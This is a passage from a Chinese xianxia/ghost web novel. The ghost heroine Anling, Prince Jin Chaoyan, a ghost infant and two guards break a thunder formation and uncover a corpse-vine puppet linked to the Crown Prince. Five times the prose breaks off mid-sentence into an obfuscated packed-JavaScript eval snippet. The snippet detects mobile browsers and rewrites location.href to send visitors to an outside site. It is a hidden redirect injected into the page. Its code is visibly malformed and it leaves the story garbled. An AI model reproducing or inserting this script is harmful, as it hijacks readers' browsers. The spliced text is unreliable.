安槐回眸,对着靳朝言扬了扬下巴。 “三殿下,请?” 靳朝言深深地看了她一眼。 然后,迈开了长腿。 于是,京城寂静的深夜里,出现了极其诡异的一幕。 四个身影,从太子别院“观澜苑”那气派非凡的正门……旁边的围墙,大摇大摆地翻了出来。 藤蔓忠心耿耿在前方引路。 它穿过清河坊,拐进了一条更僻静的小巷。 巷子两旁是高高的院墙,月光被切割成一条条,洒在青石板路上,斑驳陆离。 四周静得只能听到他们几个人的脚步声,和更夫打更的梆子声从远处隐隐传来。 “梆——梆梆——” “天干物燥——小心火烛——” 声音由远及近,又由近及远。 藤蔓还在往前延伸,穿过小巷,又上了一条主街。 街上店铺的幌子在夜风中轻轻摇晃,影子被拉得老长,像一个个张牙舞爪的鬼影。 他们就这么跟着藤蔓,穿过了一条又一条街道。 从繁华的坊市,走到了略显萧条的民居。 周围的建筑,从雕梁画栋,渐渐变成了青砖灰瓦。 空气里的脂粉香和酒菜香,也渐渐被寻常百姓家的炊烟气所取代。 杭玉堂忍不住了,小声问。 “娘娘,这……这是要带我们去哪儿啊?” “看这方向,怎么越走越偏了?” 安槐看了一眼藤蔓坚定不移的方向,眼神也沉静下来。 “去它该去的地方。” 她的话音刚落,前方的藤蔓忽然光芒一盛。 然后,猛地向下一沉,径直穿透了一户人家的院墙。 消失不见了。 众人停下了脚步。 他们抬头看去。 面前,是一座看起来普普通通的民宅院落。 黑漆的木门,门上没有挂匾额,只有两个生了锈的铜环。 院墙不高,甚至能看到里面探出的一枝光秃秃的石榴树。 怎么看,都只是一户再寻常不过的人家。 那个被太子和太傅裘家,不惜用邪术和人命都要拼命隐藏起来的秘密。 就藏在这里? 靳朝言吩咐:“进去看看。” 杭玉堂和诸元两人没有丝毫犹豫,身形一动,便悄无声息地翻了进去。 动作干净利落,是千锤百炼的本事。 巷子里,又恢复了寂静。 只剩下安槐和抱着孩子的靳朝言。 靳朝言垂眸,看着怀里的小东西。 作为一个三岁的孩子,团子其实很乖。 除了昨夜哭得惊天动地,之后就安安静静的,不哭不闹。 一双乌溜溜的大眼睛,好奇地打量着这个陌生的世界。 虽说是个三岁孩童的模样,却通透得不像话。 可就在此时。 一直安安静静的团子,突然在他怀里扭动起来。 像一条上了岸的鱼,拼命地挣扎。 小小的身体绷得紧紧的,喉咙里发出“呜呜”的、类似小兽受惊时的悲鸣。 “怎么了?” 靳朝言微微蹙眉,颠了颠他。 “又闹觉了?” 他带孩子的经验值为零,只能归结于小孩子常见的哭闹。 安槐却在瞬间变了脸色。 她的目光,如同一柄锋利的冰锥,死死地钉在那堵高墙之上。 她伸出手,冰凉的指尖轻轻抚过团子紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17457396|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皱的眉头。 “他不是闹觉。” 安槐的声音很轻,却带着一股说不出的寒意。 “他在害怕。” 靳朝言的动作一顿。 害怕? 他低头看着怀里这个浑身散发着阴气的小东西。 一个鬼婴。 一个从枉死母亲肚子里爬出来的,天生厉鬼。 他会害怕? 院子里静得可怕。 刚才进去的杭玉堂和诸元,像两颗投入深潭的石子,连个回响都没有。 安槐的眼神骤然一冷。 “不好!” 她话音未落,人已经动了。 靳朝言只觉得眼前一花。 安槐已经到了他面前,二话不说,纤细的手指拎起了团子的一条腿。 是的。 拎着腿。 就像拎着一只刚从菜市场买回来的萝卜。 然后,在靳朝言还没来得及反应的错愕目光中。 她手臂一扬。 把团子…… 丢了进去。 一道小小的、圆滚滚的抛物线,越过墙头,消失在院内。 整个动作行云流水,一气呵成。 仿佛排练了千百遍。 “哇……” 团子只来得及哭了半声。 靳朝言:“……” 他抱着孩子的手,还僵在半空。 不是自己生的,果然不心疼。 安槐做完这一切,甚至没有看他一眼。 她仰起头,对着漆黑的夜空,清叱一声。 “九条!” 声音不大,却极具穿透力。 话音刚落,一道黑影如墨色闪电,从高空疾速俯冲而下! 它没有发出任何声音,翅膀一敛,便随着团子消失的方向,一头扎进了院墙! 紧接着。 “啾——!!!” 一声凄厉到极致,仿佛能刺破人耳膜的鸟鸣,从院内猛然炸开! 安槐的脸色,彻底沉了下去。 她一撸袖子,露出一段皓白如雪的手腕。 看那架势,是准备亲自下场了。 靳朝言那两个手下,虽然有时候看着不太聪明的样子,但终归是跟着她一起出来的。 她安槐的人,就算只是临时的,也不能不明不白地折在这里。 一起出来的,就得全须全尾地带回去。 第89章 折骨,虽然小但不怂 她其实准备跳过去,但靳朝言误会了,以为他要爬墙。 效率低还不好看。 靳朝言他不知何时已经回过神,那张带着疤痕的脸上,神情是前所未有的严肃。 “我带你进去。” 安槐并不想让靳朝言进去。 靳朝言武功是高,但只是个凡人,和妖魔对上,不占优势。 别到时候,本来是救两个。 还得搭上他一个,变成救三个。 工作量凭空增加了百分之五十。 然而,靳朝言显然没有给她拒绝的机会。 他根本没松手。 反而往前一步,手臂一紧。 安槐只觉得腰上一股大力传来,整个人便被他拦腰抱起。 天旋地转间,耳边是呼啸的风声。 再回过神时,双脚已经踏上了实地。 他们,进来了。 可眼前的景象,却让安槐的瞳孔骤然一缩。 院子外,是月朗星稀,静谧祥和的京城深夜。 院子内,却是乌云翻滚,电闪雷鸣! 狂风卷着沙石,刮得人脸颊生疼。 一道道狰狞的银色闪电,如同巨龙的利爪,疯狂地撕扯着漆黑的天幕,将这小小的院落照得亮如白昼。 这方寸之地,竟自成一片天地! 与外面,恍若两个世界。 院子正中,躺着一个陌生的男人,穿着粗布衣衫,双目紧闭,不知死活。 而在他旁边,杭玉堂和诸元也直挺挺地躺在地上。 同样是双眼紧闭,面无血色。 但好在,胸口尚有微弱的起伏,证明还吊着一口气。 而在杭玉堂和诸元中间,团子小小的身子,倔强地站着。 他张开短短的双臂,像一只护崽的老母鸡,拼命将身后两个人护在自己的影子里。 他哭得惊天动地,小肩膀一抽一抽的,嗷嗷的哭声几乎要被雷鸣淹没。 “哇——!!” “别……别过来!!” “哇啊啊啊——!” 他哭的直打嗝。 然而,回应他的,是又一道更加粗壮的闪电! 那闪电带着毁天灭地的威势,当头劈下! 就在闪电即将落下的瞬间。 一道道幽黑的鬼气,从团子小小的身体里疯狂涌出,在他头顶形成一个薄薄的黑色护罩。 “轰——!!” 雷电与鬼气悍然相撞! 发出令人牙酸的“滋啦”声! 那看似薄弱的鬼气护罩,剧烈地晃动了几下,竟真的将那道雷电抵消了! 可代价,却是团子猛地一颤。 一道焦黑的伤痕,瞬间出现在他白嫩的手臂上。 他哭得更大声了。 眼泪像断了线的珠子,混着雨水,从他胖乎乎的脸蛋上滚落。 他害怕。 他无助。 可他,一步未退。 就在这时,一个黑漆漆的小脑袋,从团子胸口的衣襟里,小心翼翼地探了出来。 是九条。 它似乎想出来帮忙,却又对那漫天雷电充满了极致的恐惧。 “啾?” 它试探性地叫了一声。 一道细小的电弧,仿佛长了眼睛一般,擦着团子的身体,正正好好燎在了九条的头上。 “滋啦!” “啾——!!!” 九条发出一声惨绝人寰的尖叫。 它头顶那撮最引以为傲的呆**,瞬间焦了一半,还冒着缕缕青烟。 九条吓得魂飞魄散,尖叫着又把脑袋缩了回去,死死地躲在团子的怀里,再也不敢露头了。 只剩下团子。 孤零零地站在那里。 一边哭得上气不接下气,一边依旧死死地护着身后的三个人。 小小的身影,在狂暴的电闪雷鸣之下,渺小得仿佛下一秒就会被撕碎。 却又,坚定得让人心头发酸。 就在这时,他似乎感受到了什么。 那双被泪水模糊的大眼睛,猛地转向了院门口。 当看清站在那里的安槐时,团子小小的身体剧烈一颤。 之前所有的倔强和勇敢,在这一刻,轰然崩塌。 他瘪着嘴,积蓄了满腔的委屈和恐惧,终于找到了宣泄的出口。 “哇——!!娘……娘……娘——!!” 那一声“娘”喊得九曲十八弯,百转千回,闻者伤心,听者落泪。 仿佛受了天大的委待。 靳朝言的心,莫名地跟着揪了一下。 他下意识看向身边的安槐,以为会看到一丝动容。 然而。 安槐只是冷着一张脸,绝美的面容上没有半分波澜。 她甚至,冷笑了一声。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458233|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵。” “认主的时候知道喊爹。” “这会儿要挨劈了,想起喊娘了?” 她声音不大,却清清楚楚地传到了团子的耳朵里。 团子的哭声,戛然而止。 他小嘴张着,泪珠还挂在长长的睫毛上,一脸懵地看着安槐。 仿佛在说:剧本不是这么走的啊? 靳朝言:“……” 他算是看出来了。 安槐对鬼婴认主这件事情的怨念,那是真深啊。 这姑娘也是够记仇。 但这教育孩子,也得分个场合。 总不能让孩子顶着天雷听训吧? 他清了清嗓子,正想开口替团子说两句好话,缓解一下这紧张中带着诡异的母子关系。 “那个……” 他才刚说出两个字。 安槐已经动了。 她甚至没多看团子一眼,手腕一翻,那个无面的槐木小人偶便出现在了掌心。 然后,手臂一扬。 对着团子的方向,随手一抛。 那动作,比刚才丢团子的时候,还要随意几分。 靳朝言的话,就这么卡在了喉咙里。 行吧。 是他多虑了。 那枚小小的槐木人偶,在空中划过一道并不优美的弧线。 它没有落地。 而是轻飘飘地,悬浮在了团子的头顶三尺之处。 就在它悬停的瞬间。 下一道狰狞的闪电,撕裂天幕,轰然劈下! 这一次,雷电没有再落在团子的鬼气护罩上。 而是尽数,被那枚小小的,毫不起眼的木偶,尽数吸了进去! “轰——!!!” 木偶纹丝不动。 笼罩在头顶的死亡威胁,骤然消失。 团子愣愣地抬头,看着那个替自己挡下所有伤害的小木偶。 他紧绷的小身子,终于松懈下来。 “嗝。” 他打了个哭嗝,劫后余生地瘫坐在了地上。 屁股底下,正压着诸元的一条腿。 安槐清冷的声音,再次响起,带着一丝不耐。 “愣着干什么?” “等人给你收尸?” “快把人拽回来!” 团子一个激灵,瞬间从地上弹了起来。 他不敢再耽搁,一边抽抽搭搭地抹着眼泪,一边伸出短短的胳膊。 第90章 折骨,现场充能 一手,抓住诸元的衣领。 一手,拎起杭玉堂的衣领。 杭玉堂和诸元,两个加起来超过四百斤的成年壮汉,就这么被一个三岁奶娃娃,像拖两条死狗一样,在地上拖行。 姿势,相当不雅。 还有一个躺在中间不知死活的,是个陌生人,就管不了了。 而此时,被拖行的两人,其实已经醒了。 不,或许他们就没真正晕过去。 只是在这诡异的雷电场域之中,身体被一股无形的力量禁锢,动弹不得,口不能言。 他们眼睁睁地看着自己被一个小不点拖着走。 只觉得脸火辣辣的疼。 杭玉堂感觉自己的世界观,正在被按在地上反复摩擦。 他看到了什么? 王妃把王爷刚认的干儿子丢进来了? 然后那个三岁的干儿子,扛住了天雷? 现在,那个三岁的干儿子,正单手拖着他和诸元两个人走? 是他疯了,还是这个世界疯了? 诸元的心情同样复杂。 一方面是劫后余生的庆幸。 另一方面,是被一个奶娃娃拖着走的巨大羞耻。 他甚至能感觉到,王爷和王妃的目光,正落在他和杭玉堂的……脸上。 算了。 毁灭吧。 赶紧的。 就在这诡异的拔河比赛进行时,半空中的木偶,情况却不太妙。 它已经硬扛了七八道天雷。 原本温润的槐木表面,已经出现了细密的裂纹。 丝丝缕缕的青烟,正从裂纹中冒出,带着一股焦糊的味道。 这东西,快撑不住了。 安槐的眉头,也随之紧紧蹙起。 太阳穴传来一阵针扎似的刺痛,眼前甚至出现了瞬间的眩晕。 她闷哼一声,下意识地伸手按住了隐隐作痛的额角。 该死的。 都怪这两天事情太多,净是些上不得台面的小鱼小虾,害得她都没什么机会补充“能量”。 她安槐,三百年老鬼,什么时候这么憋屈过? 她眼底闪过一丝狠戾。 顾不得那么多了。 下一秒,她猛地转过身,一把抓住了身旁靳朝言的衣襟。 靳朝言正全神贯注地盯着那即将报废的木偶,考虑自己能做什么。 冷不防被她这么一拽,一个踉跄,差点没站稳。 他愕然低头。 “你……” 他想问她要做什么。 可安槐,根本没给他开口的机会。 在靳朝言惊愕的目光中,安槐踮起脚尖,纤细的手臂环住了他的脖颈,用力往下一拉。 然后,仰起头。 冰凉而柔软的唇,就这么毫无征兆地,重重地印了上来。 靳朝言的瞳孔,骤然缩成了针尖。 他整个人,都僵住了。 大脑,一片空白。 鼻尖萦绕的,是她身上那股似有若无的,冷冽的槐花香气。 唇上传来的,是她带着一丝急切和不容拒绝的霸道。 这不是一个吻。 这更像是一场……掠夺。 靳朝言的第一反应,是推开她。 荒唐! 这都什么时候了! 可他的手才刚刚抬起,就感觉有一种奇怪的力量,从自己身体里抽走了什么。 那是自己身体里的阴冷和禁锢。 好像压在自己身上的重石,被搬开一些。 让整个身体都轻松了。 那新婚洞房那日的感觉一样。 说不出的舒服。 他以前从未和女子有过亲密接触,只听军中汉子闲聊时,说起荤段子来,说男女之事,鱼水之欢多么销魂快和。 他也不好去找个有经验的来问问,是哪种快活? 是否有这么快活? 丝丝缕缕的,肉眼几乎看不见的黑色烟雾,猛地从靳朝言的身上爆发出来! 那不是普通的烟。 那是他从尸山血海的战场上,带回来的滔天戾气! 是寻常人沾染上一丝,便会心神失守,沦为疯魔的煞气! 然而这些能让鬼神退避的煞气,此刻却像是找到了宣泄的出口,又像是乳燕归巢一般,争先恐后地,被尽数吸进了安槐的体内。 安槐眯着眼睛在心里哼哼。 舒服。 都怪这几天不是查案就是赶路,两人压根没什么机会行夫妻之事。 不然,她阴气充盈,魂体稳固,区区一个借雷**的“五雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458234|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轰顶阵”,挥挥手就破了。 哪至于像现在这样,弄得自己头昏脑涨,还得靠法器硬撑。 效率,太低了! 这桩买卖,做得亏。 看来以后,得多督促一下靳朝言,在正事上用点心。 不能总让她主动。 靳朝言自然不知道安槐此刻心中在想些什么“虎狼之词”。 他只觉得,自己体内的某道枷锁,仿佛被打开了。 前所未有的轻松。 他下意识想要推开安槐的手,不知何时,已经变成了紧紧地、回抱住她纤细的腰肢。 他甚至能感觉到,安槐的身体,在他怀里轻微地颤抖了一下。 而就在这短短的几个呼吸之间。 “咔嚓——!” 一声脆响。 半空中,那枚槐木小人偶,终于不堪重负,彻底碎裂开来! 化作一捧齑粉,随风而散。 失去了阻碍,天上翻滚的雷云,仿佛被激怒的巨兽,发出了更加狂暴的怒吼! 一道比之前所有闪电加起来还要粗壮的,几乎将整个夜空都劈成两半的巨大雷柱,带着毁天灭地的威压,当头砸下! 那道雷,已不能称之为雷。 它更像是一根贯穿天地的神罚之矛,由九天之上愤怒的神祇,亲手掷下。 矛尖所指,正是相拥的二人。 靳朝言甚至能感觉到,自己脸上的疤痕,都被那煌煌天威映照得灼热刺痛。 死亡,近在咫尺。 而他怀中的女人,却在此刻,稍稍松开了对他的钳制。 安槐微微侧过头,冰凉柔软的唇瓣擦过他的唇角。 温热的气息,带着一丝丝她身上独有的,凛冽的槐香,吐在他的耳畔。 声音很轻。 “拔剑。” 靳朝言的脑子,在那一瞬间甚至没有转动。 他的身体,已经先于思想,做出了最本能的反应。 他依然紧紧搂着安槐的腰,只是以一个极其精妙的角度,微微侧身,为自己的右臂让出了毫厘之间的空当。 这是一个在千军万马中,于方寸之地取敌将首级的姿势。 “锵——!” 一声清越的龙吟,划破了雷霆的轰鸣。 第91章 折骨,龙吟 那是‘镇恶’出鞘的声音。 这柄陪伴他从尸山血海中杀出来的佩剑,此刻剑身嗡鸣,带着一丝难以抑制的兴奋。 靳朝言没有半分犹豫。 他左手护着安槐,右手手腕翻转,以一种决绝而一往无前的气势,迎着那道从天而降的灭世雷柱,一剑劈了上去! 说实话,靳朝言心里也没底。 他靳朝言,是京兆尹,是三皇子,是踏着累累白骨从边城杀回来的战神。 他信手中的剑,信自己的武功。 他自信可以一剑断水,一剑开山。 可这,是天雷。 以人力,抗天威? 何其荒唐。 何其……可笑。 但,安槐让他拔剑。 他也信她。 这一剑,倾尽了他所有的内力,也赌上了他全部的信任。 然后。 他就看到了此生最为震撼的一幕。 随着他一剑挥出,一道凛冽的银芒脱离了‘镇恶’的剑身。 那银芒并未消散,反而在半空中骤然暴涨,化作一道肉眼可见的虚影。 那虚影…… 竟是一条张牙舞爪,身姿矫健的银色巨龙! “昂——!!!” 一声仿佛来自远古洪荒的龙啸,轻盈却又充满了无上威严,响彻整个院落! 龙影扶摇直上,悍不畏死地迎上了那道毁天灭地的雷柱! 两者相撞的瞬间,没有惊天动地的巨响。 整个世界,仿佛被按下了静音键。 所有人的眼前,只剩下一片刺目到极致的白。 那白光,仿佛要将人的魂魄都从身体里剥离出去。 不知过了多久。 也许是一瞬,也许是一个世纪。 当靳朝言的视力终于恢复时,他看到了毕生难忘的景象。 头顶那翻滚不休,仿佛压在心头梦魇般的雷云,像是被一把无形的巨剪,从中间整整齐齐地剪开了一道巨大的口子。 明亮的月光,与璀璨的星河,从那道口子里倾泻而下。 温柔地,洒满了整个院子。 雷声,消了。 闪电,散了。 那股令人窒息的威压,也如潮水般退去。 一切,风平浪静。 仿佛刚才那场末日般的景象,只是一场荒诞的噩梦。 靳朝言缓缓垂下手臂,‘镇恶’剑的剑尖,轻轻点在地上。 剑身依旧光洁如新,甚至比之前更加明亮,隐隐有流光闪动。 他看向安槐。 安槐也正看着他,不,是看着他手中的剑。 她那双古井无波的眸子里,第一次,出现了一种靳朝言看不懂的情绪。 是审视,是探究,还有一丝……了然。 但那情绪只是一闪而逝,快得让他以为是错觉。 安槐什么也没说,只是从他怀里退了出来,站直了身体。 仿佛刚才那个主动索吻,与他唇齿相依,掠夺他身上煞气的女人,根本不是她。 那份疏离和清冷,又回到了她的身上。 靳朝言心里,竟莫名有些空落落的。 他甚至下意识地,回味了一下唇上残留的,那冰凉柔软的触感。 “咳……咳咳……” “我的妈呀……” 死寂的院子里,终于响起了活人的声音。 杭玉堂和诸元,几乎是同时从地上挣扎着坐了起来。 两人脸色煞白,满头冷汗,一副三魂七魄刚归位的模样。 团子也不哭了。 只是小肩膀一抽一抽的,显然是刚才哭得太狠,现在有点上头。 他从自己那已经被雷劈得破破烂烂的怀里,小心翼翼地掏出了一团黑乎乎的东西。 是九条。 安槐瞥了一眼。 九条还活着,只是平日里油光水滑的漂亮皮**,这会儿被劈得焦黑卷曲,尤其是脑袋上的**,根根倒竖,形成了一个完美的**头。 看起来,有那么点滑稽。 “嗝。” 团子打了个哭嗝,伸出小手,心疼地摸了摸九条的**头。 安槐清冷的声音响起。 “哭完了?” 团子一激灵,抬头看向安槐,瘪了瘪嘴,眼眶又红了,但硬是把眼泪憋了回去。 “……嗯。” 安槐没再理他。 而一旁的杭玉堂和诸元,此刻正张着嘴,看着团子,上演了一场现实版的“瞳孔地震”。 就在他们眼皮子底下。 团子那被天雷劈得焦黑开裂的皮肤,正在以一种违背常理的速度,迅速愈合! 焦黑的死皮,像蛇蜕一样寸寸剥落。 裂开的伤口,从最深处生出粉色的新肉,迅速填满,连接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460338|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 前后不过十几个呼吸的功夫。 便恢复了原状。 白白嫩嫩,仿佛从未受过任何伤害。 杭玉堂:“……” 诸元:“……” 杭玉堂揉了揉眼睛,又狠狠掐了自己大腿一把。 “嘶——!疼!” 不是做梦。 杭玉堂深吸一口气,然后缓缓吐出,整个人呈现出一种大彻大悟后的平静。 他看着自家主子,一脸真诚。 “殿下。” 靳朝言皱眉:“何事?” “属下觉得,我们查案的思路,可能要改一改了。” 杭玉堂的表情,前所未有的严肃。 “以后再有案子,咱们不能光靠查访和验尸了。” “咱们得加个流程。” “比如,先算一卦?” 靳朝言:“……” 他现在很想把杭玉堂的嘴给缝上。 诸元则在一旁,喃喃自语。 “我感觉自己……好像碎了……” 院子里,恢复了宁静。 月华如水,照亮了每一个角落。 焦糊的气味,也渐渐散去。 所有人都安然无恙。 除了…… 众人的目光,落向了院子正中央。 那里,还躺着一个人。 他趴在地上,一动不动。 也不知道是死是活。 靳朝言收剑入鞘,沉声道:“过去看看。” 他率先迈步走了过去。 安槐紧随其后。 团子见状,也连忙迈开小短腿,哒哒哒地跟上。 杭玉堂和诸元对视一眼,也赶紧从地上爬起来,一瘸一拐地跟了上去。 虽然世界观碎了一地,但正事还是得干。 三人两鬼,围住了那个趴在地上的男人。 离得近了,才发现他身下的地面,有一小滩已经凝固的暗红色血迹。 “还活着。” 靳朝言蹲下身,探了探他的鼻息,虽然微弱,但确实还有一口气。 月光下,那人的面容,清晰地呈现在众人面前。 是一个看起来三十岁左右的男子,相貌普通,是那种丢进人堆里就找不着的类型。 只是他的脸色青白,嘴唇发紫,双目紧闭,眉心处有一个小小的,已经发黑的伤口。 像被什么尖锐的东西,刺了一下。 第92章 折骨,尸藤 “这是……” 杭玉堂正想说这人像是**了。 安槐却忽然开了口,她的声音,比这月色还要清冷几分。 “把他的左边袖子,拉起来。” 众人一愣。 虽然不解,但杭玉堂还是依言照做。 他伸手,将那男人左臂的粗布袖子,缓缓向上卷起。 一寸。 两寸。 三寸。 当整个小臂都暴露在空气中时,连见惯了各种惨状的杭玉堂和诸元,都忍不住倒吸了一口凉气。 只见那男人的小臂上,皮肤呈现出一种诡异的青黑色。 而在那青黑色的皮肤之下,有什么东西,在缓缓地……蠕动。 它们像是一条条细小的虫子,密密麻麻,沿着血管的走向,不断地向上攀爬,朝着心脏的方向汇聚。 那景象,光是看着,就让人头皮发麻,胃里一阵翻江倒海。 “这……这是什么鬼东西?” 杭玉堂惊骇地叫出声。 “蛊?” 诸元猜测道。 靳朝言的眉头,也拧成了一个川字。 他伸出手,想去触碰一下那人的手臂。 “别碰。” 安槐的声音,及时响起,制止了他的动作。 “这不是蛊。” 她的目光,落在那不断蠕动的皮肤上,眼神里没有恐惧,只有一种冰冷的,看死物般的漠然。 她缓缓吐出三个字。 “是尸藤。” “尸藤?” 靳朝言重复了一遍这个陌生的词汇。 “以**骨血浇灌,以怨气滋养而生的一种邪物。” 安槐淡淡地解释道。 “一旦被种入活人体内,便会以其精血为食,顺着经脉,一路啃食,直至宿主五脏六腑被掏空,化作一具可供其驱使的行尸。” 她的话,让在场几个大男人,齐齐打了个寒战。 他们突然想到,被吊死在月亮河边的韦升荣,他的伤口里,就有新鲜的柳芽。 虽然和这有区别,但有异曲同工之感。 “那……那还有救吗?” 杭玉堂忍不住问道。 “救不了,或者说,其实他早就**。” “他就是我们要找的人?” “对。” 木偶虽然已经四分五裂落在一旁,但风一吹,已经干枯的藤蔓上,又抽出了新芽,长出了枝条。 植物就是拥有如此顽强的再生修复能力。 那些枝条再次像男人身上蔓延而去,一圈一圈的,缠上他的手腕,脚腕,身体。 诸元奇道:“我还以为他们费了那么大力气布阵,是为了救这个人,难道不是吗?” “谁说他们要救他?”安槐说:“花大代价要保住的,不一定要是心头好。” 安槐顿了顿。 “也可能是一把称手的刀。” 一把刀? 杭玉堂和诸元面面相觑,显然没跟上这位王妃清奇的脑回路。 毕竟人鬼殊途,安槐也没指望他们能懂太多。 看在靳朝言卖力的份上,有什么不能解释呢? “被尸藤彻底控制的人,叫做‘尸偶’。” “不畏生死,不惧疼痛,没有善恶之分,更不会背叛。” “他们只会无条件地,执行主人的任何命令。” “就像一个……完美的傀儡。” 靳朝言的脸色,瞬间沉了下去。 “如果有一天。皇宫的禁卫里,混进了这种东西。” “或者说,边关的军营里,出现了这样的士兵。” “那会是怎样一幅光景?” 杭玉堂和诸元激灵灵打了个冷战,只觉得一股寒气从脚底板直冲天灵盖。 那样的场景,根本不敢想! 一个悍不畏死,绝对服从,甚至**都能被重新操控的人……若是身居要职,出现在关键位置上,那是足以颠覆一切的灾难。 靳朝言缓缓道:“是太子。” 他几乎是咬着牙,说出这三个字。 暗中培养尸藤傀儡,他想干什么? 这简直是司马昭之心,路人皆知! 安槐倒是对这朝堂秘辛没什么概念,三百年的光阴,皇帝都换了好几茬了。 她眨了眨眼,露出了难得的,纯粹的好奇。 不懂就问。 她看着靳朝言,问得十分坦然。 “他已经是太子了,我听大家说,地位稳固,东宫之位固若金汤。” “未来的皇帝,板上钉钉。” “为什么还要搞这些上不得台面的手段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460339|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?万一被发现,岂不是偷鸡不成蚀把米,得不偿失?” 靳朝言扯起嘴角,露出一个冰冷的笑。 “太子之位是稳固,不出意外,他确实是下一任君主。” “但父皇如今正值盛年,龙体康健。” 一句话,点到为止。 但安槐瞬间就懂了。 这种戏码民间也不少。 老子活得太长,儿子等不及了。 如果不出意外,太子还得再当几十年的太子。 等他成为皇帝的时候,他自己也成个老头子了。 所以,他等不及了。 与其等一个不确定的未来,不如亲手开创一个确定的现在。 诸元在一旁挠了挠头,提出了新的疑问:“那咱们现在……算是在查一桩案子,还是两桩案子?” 靳朝言想了想:“这并非两个案子,而是一个计划的两面。” “尸藤可以将人变成行尸走肉,听话是听话,但终究是上不得台面的邪术。” “太子若想坐稳江山,朝堂之上,总不能朝堂上全是行尸走肉吧?” 杭玉堂:“……” 王爷,您这个冷笑话,有点惊悚。 靳朝言继续道:“那些舞女,用以拉拢、腐蚀、控制那些意志不坚的朝臣。” “而尸藤,专门用来对付那些拉拢不了,又不肯听话的硬骨头。” “双管齐下,何愁大事不成?” 一番话,说得众人茅塞顿开。 “只可惜,三年前,定是出了什么岔子,这才让整个计划被迫搁浅,怨气横生,最终形成了这万贤山庄的诡局。” “直到今天,被我们撞破。” 真相大白。 诸元犹豫了一下,低声问道:“王爷,此事……干系重大,是否要如实禀告陛下?” 靳朝言沉吟片刻,最终还是摇了摇头。 “禀。” “但不能全说。” “舞女骸骨之事,等有了进一步证据,定要上报。就说太子私德不修,豢养舞姬,意图结交朝臣,不思进取。” “至于尸藤……傀儡……” 他看了一眼地上的“尸偶”,眼中闪过一丝忌惮。 “怪力乱神,动摇国本。” “此事,不能明言。” 第93章 折骨,尸王 众人皆是点头,表示明白。 靳朝言说:“清理现场,我们离开。” 诸元正要上前,打算一把火烧了这里,被安槐制止了。 她走到那具“尸偶”面前,蹲下身。 小小的团子见状,也迈着小短腿跟了过去,好奇地探着脑袋。 安槐伸出手,指尖萦绕起一缕极淡的,几乎看不见的黑气。 她没有触碰男人的身体,只是将那缕黑气,轻轻点在了缠绕在他手腕上的一根尸藤主根上。 “滋——” 一声极其轻微,如同烙铁烫入血肉的声音响起。 下一秒,诡异的一幕发生了。 那些青黑色的尸藤,仿佛被点燃的引线,从安槐指尖接触的那一点开始,迅速变得焦黑、枯萎! 那焦黑的痕迹,以一种摧枯拉朽的姿态,瞬间蔓延至男人全身! 紧接着。 那具还带着微弱呼吸的“尸偶”,连同他身上的尸藤,竟像是被风化了千年的沙雕。 从皮肤,到血肉,再到骨骼…… 以肉眼可见的速度,寸寸碳化,崩解。 一阵夜风吹过。 原地,只留下一堆人形的灰烬,随风而散。 连一丝血迹,都未曾留下。 杭玉堂和诸元,嘴巴张得能塞下一个鸡蛋。 …… 与此同时。 东宫,书房深处的密室里。 幽沉的密室中,只点着一盏青铜长信宫灯,豆大的火苗,将墙壁上狰狞的壁画照得影影绰绰。 